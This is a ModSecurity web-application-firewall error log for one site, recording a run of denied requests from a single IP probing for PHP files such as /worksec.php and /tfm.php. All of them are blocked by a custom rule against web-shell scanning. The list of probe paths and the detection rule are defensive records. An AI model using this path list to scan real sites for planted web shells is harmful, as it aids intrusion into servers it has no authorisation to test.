[Wed Apr 08 23:50:12.423708 2026] [:error] [pid 12490:tid 12508] [client 72.146.17.160:37721] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "adZ5NG1Fea4F4fbumr1SrQAAANA"]
[Wed Apr 08 23:50:13.269670 2026] [:error] [pid 64066:tid 64077] [client 72.146.17.160:49330] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bgymj.php"] [unique_id "adZ5NVR3WucJgr2vZGaqrgAAAUg"]
[Wed Apr 08 23:50:14.135567 2026] [:error] [pid 12490:tid 12497] [client 72.146.17.160:49343] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "adZ5Nm1Fea4F4fbumr1StQAAAMU"]
[Wed Apr 08 23:50:14.964630 2026] [:error] [pid 64066:tid 64083] [client 72.146.17.160:43004] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "adZ5NlR3WucJgr2vZGaqsQAAAU4"]
[Wed Apr 08 23:50:15.661707 2026] [:error] [pid 12453:tid 12469] [client 72.146.17.160:49329] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "adZ5NxjtW7S6XsLPvrRzFQAAAI4"]
[Wed Apr 08 23:50:16.530209 2026] [:error] [pid 12453:tid 12473] [client 72.146.17.160:43338] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/worksec.php"] [unique_id "adZ5OBjtW7S6XsLPvrRzGAAAAJI"]
[Wed Apr 08 23:50:17.517403 2026] [:error] [pid 12453:tid 12460] [client 72.146.17.160:62694] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adZ5ORjtW7S6XsLPvrRzHAAAAIU"]
[Wed Apr 08 23:50:18.299757 2026] [:error] [pid 12453:tid 12470] [client 72.146.17.160:42946] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adZ5OhjtW7S6XsLPvrRzIgAAAI8"]
[Wed Apr 08 23:50:19.723501 2026] [:error] [pid 12453:tid 12478] [client 72.146.17.160:51762] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adZ5OxjtW7S6XsLPvrRzKAAAAJc"]
[Wed Apr 08 23:50:20.732782 2026] [:error] [pid 12385:tid 12409] [client 72.146.17.160:44613] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tfm.php"] [unique_id "adZ5PCAjtvRQEkLosq211wAAABQ"]
[Wed Apr 08 23:50:22.083270 2026] [:error] [pid 7189:tid 7196] [client 72.146.17.160:42970] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unloathness.php"] [unique_id "adZ5PhaBqhBSu0L37loDZQAAAcU"]
[Wed Apr 08 23:50:22.888325 2026] [:error] [pid 7189:tid 7207] [client 72.146.17.160:3456] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unloathness.php"] [unique_id "adZ5PhaBqhBSu0L37loDZgAAAdA"]
[Wed Apr 08 23:50:23.679350 2026] [:error] [pid 12490:tid 12508] [client 72.146.17.160:38593] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unloathness.php"] [unique_id "adZ5P21Fea4F4fbumr1SwwAAANA"]
[Wed Apr 08 23:50:24.519015 2026] [:error] [pid 12490:tid 12513] [client 72.146.17.160:62593] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/unloathness.php"] [unique_id "adZ5QG1Fea4F4fbumr1SxQAAANU"]
[Wed Apr 08 23:50:25.441736 2026] [:error] [pid 12385:tid 12411] [client 72.146.17.160:40310] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "adZ5QSAjtvRQEkLosq213QAAABY"]
[Wed Apr 08 23:50:26.494151 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:40298] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "adZ5QlR3WucJgr2vZGaqywAAAVY"]
[Wed Apr 08 23:50:27.545714 2026] [:error] [pid 35642:tid 35650] [client 72.146.17.160:42216] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "adZ5Qw-CqryxdEs5DN95hQAAAEY"]
[Wed Apr 08 23:50:28.195273 2026] [:error] [pid 64066:tid 64070] [client 72.146.17.160:3594] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ar.php"] [unique_id "adZ5RFR3WucJgr2vZGaq0wAAAUE"]
[Wed Apr 08 23:50:29.866502 2026] [:error] [pid 7189:tid 7213] [client 72.146.17.160:3670] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "adZ5RRaBqhBSu0L37loDcAAAAdY"]
[Wed Apr 08 23:50:30.859249 2026] [:error] [pid 64066:tid 64075] [client 72.146.17.160:55951] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "adZ5RlR3WucJgr2vZGaq2AAAAUY"]
[Wed Apr 08 23:50:31.788815 2026] [:error] [pid 64066:tid 64087] [client 72.146.17.160:62659] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "adZ5R1R3WucJgr2vZGaq3QAAAVI"]
[Wed Apr 08 23:50:33.066594 2026] [:error] [pid 64066:tid 64078] [client 72.146.17.160:58168] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1index.php"] [unique_id "adZ5SVR3WucJgr2vZGaq6AAAAUk"]
[Wed Apr 08 23:50:33.889171 2026] [:error] [pid 12386:tid 12430] [client 72.146.17.160:44609] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/multirole.php"] [unique_id "adZ5SRLhhLtqHi2gK7UzwgAAAQ4"]
[Wed Apr 08 23:50:39.423937 2026] [:error] [pid 64066:tid 64087] [client 72.146.17.160:62067] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/multirole.php"] [unique_id "adZ5T1R3WucJgr2vZGaq8wAAAVI"]
[Wed Apr 08 23:51:15.570786 2026] [:error] [pid 64066:tid 64077] [client 72.146.17.160:62077] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adZ5c1R3WucJgr2vZGardwAAAUg"]
[Wed Apr 08 23:51:29.542157 2026] [:error] [pid 12490:tid 12508] [client 72.146.17.160:3162] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adZ5gW1Fea4F4fbumr1THgAAANA"]
[Wed Apr 08 23:51:50.336047 2026] [:error] [pid 12386:tid 12426] [client 72.146.17.160:43781] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "adZ5lhLhhLtqHi2gK7Uz4AAAAQo"]
[Wed Apr 08 23:52:12.584840 2026] [:error] [pid 35642:tid 35649] [client 72.146.17.160:53199] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adZ5rA-CqryxdEs5DN95xgAAAEU"]
[Wed Apr 08 23:52:44.599208 2026] [:error] [pid 7047:tid 7052] [client 72.146.17.160:33395] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "adZ5zONh3oGO3pKiCzxaDQAAAYM"]
[Wed Apr 08 23:52:47.485212 2026] [:error] [pid 12453:tid 12459] [client 72.146.17.160:39376] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "adZ5zxjtW7S6XsLPvrR0AwAAAIQ"]
[Wed Apr 08 23:52:49.960117 2026] [:error] [pid 35642:tid 35646] [client 72.146.17.160:49631] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "adZ50Q-CqryxdEs5DN96DgAAAEI"]
[Wed Apr 08 23:52:51.248576 2026] [:error] [pid 35642:tid 35652] [client 72.146.17.160:57671] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws84.php"] [unique_id "adZ50w-CqryxdEs5DN96DwAAAEg"]
[Wed Apr 08 23:52:53.105347 2026] [:error] [pid 7047:tid 7049] [client 72.146.17.160:63275] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "adZ51eNh3oGO3pKiCzxaEgAAAYA"]
[Wed Apr 08 23:52:55.470112 2026] [:error] [pid 7047:tid 7068] [client 72.146.17.160:37173] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "adZ51-Nh3oGO3pKiCzxaGQAAAZM"]
[Wed Apr 08 23:52:56.631728 2026] [:error] [pid 12453:tid 12478] [client 72.146.17.160:37148] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "adZ52BjtW7S6XsLPvrR0EQAAAJc"]
[Wed Apr 08 23:52:58.959054 2026] [:error] [pid 35642:tid 35659] [client 72.146.17.160:50538] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mh.php"] [unique_id "adZ52g-CqryxdEs5DN96HgAAAE8"]
[Wed Apr 08 23:53:00.652514 2026] [:error] [pid 12386:tid 12421] [client 72.146.17.160:49619] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yawa.php"] [unique_id "adZ53BLhhLtqHi2gK7U0IAAAAQU"]
[Wed Apr 08 23:53:02.595798 2026] [:error] [pid 7047:tid 7049] [client 72.146.17.160:39368] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yawa.php"] [unique_id "adZ53uNh3oGO3pKiCzxaMgAAAYA"]
[Wed Apr 08 23:53:04.101076 2026] [:error] [pid 12490:tid 12515] [client 72.146.17.160:55471] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yawa.php"] [unique_id "adZ54G1Fea4F4fbumr1UeAAAANc"]
[Wed Apr 08 23:53:07.308762 2026] [:error] [pid 7189:tid 7214] [client 72.146.17.160:47065] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yawa.php"] [unique_id "adZ54xaBqhBSu0L37loEDwAAAdc"]
[Wed Apr 08 23:53:09.230004 2026] [:error] [pid 64066:tid 64076] [client 72.146.17.160:47101] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "adZ55VR3WucJgr2vZGatPgAAAUc"]
[Wed Apr 08 23:53:10.292811 2026] [:error] [pid 12490:tid 12508] [client 72.146.17.160:54925] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "adZ55m1Fea4F4fbumr1UfAAAANA"]
[Wed Apr 08 23:53:11.732094 2026] [:error] [pid 64066:tid 64070] [client 72.146.17.160:41481] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "adZ551R3WucJgr2vZGatSAAAAUE"]
[Wed Apr 08 23:53:13.087164 2026] [:error] [pid 12490:tid 12492] [client 72.146.17.160:64986] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "adZ56W1Fea4F4fbumr1UhQAAAMA"]
[Wed Apr 08 23:53:14.535008 2026] [:error] [pid 7047:tid 7066] [client 72.146.17.160:57454] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "adZ56uNh3oGO3pKiCzxaQwAAAZE"]
[Wed Apr 08 23:53:17.614674 2026] [:error] [pid 64066:tid 64076] [client 72.146.17.160:58582] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "adZ57VR3WucJgr2vZGatYwAAAUc"]
[Wed Apr 08 23:53:19.836429 2026] [:error] [pid 64066:tid 64090] [client 72.146.17.160:59761] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "adZ571R3WucJgr2vZGatagAAAVU"]
[Wed Apr 08 23:53:20.826106 2026] [:error] [pid 12453:tid 12467] [client 72.146.17.160:49635] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php7"] [unique_id "adZ58BjtW7S6XsLPvrR0QQAAAIw"]
[Wed Apr 08 23:53:22.176268 2026] [:error] [pid 12490:tid 12510] [client 72.146.17.160:55472] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "adZ58m1Fea4F4fbumr1UmgAAANI"]
[Wed Apr 08 23:53:23.290893 2026] [:error] [pid 12490:tid 12515] [client 72.146.17.160:58623] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "adZ5821Fea4F4fbumr1UoQAAANc"]
[Wed Apr 08 23:53:24.319389 2026] [:error] [pid 64066:tid 64073] [client 72.146.17.160:57442] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "adZ59FR3WucJgr2vZGatdQAAAUQ"]
[Wed Apr 08 23:53:25.942450 2026] [:error] [pid 12385:tid 12404] [client 72.146.17.160:34521] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "adZ59SAjtvRQEkLosq22PQAAAA8"]
[Wed Apr 08 23:53:27.230070 2026] [:error] [pid 64066:tid 64086] [client 72.146.17.160:59749] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wssw.php"] [unique_id "adZ591R3WucJgr2vZGatgAAAAVE"]
[Wed Apr 08 23:53:28.277259 2026] [:error] [pid 64066:tid 64085] [client 72.146.17.160:57213] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wssw.php"] [unique_id "adZ5-FR3WucJgr2vZGatjgAAAVA"]
[Wed Apr 08 23:53:29.406781 2026] [:error] [pid 64066:tid 64092] [client 72.146.17.160:59737] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wssw.php"] [unique_id "adZ5-VR3WucJgr2vZGatlgAAAVc"]
[Wed Apr 08 23:53:30.369899 2026] [:error] [pid 12453:tid 12460] [client 72.146.17.160:58614] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wssw.php"] [unique_id "adZ5-hjtW7S6XsLPvrR0TgAAAIU"]
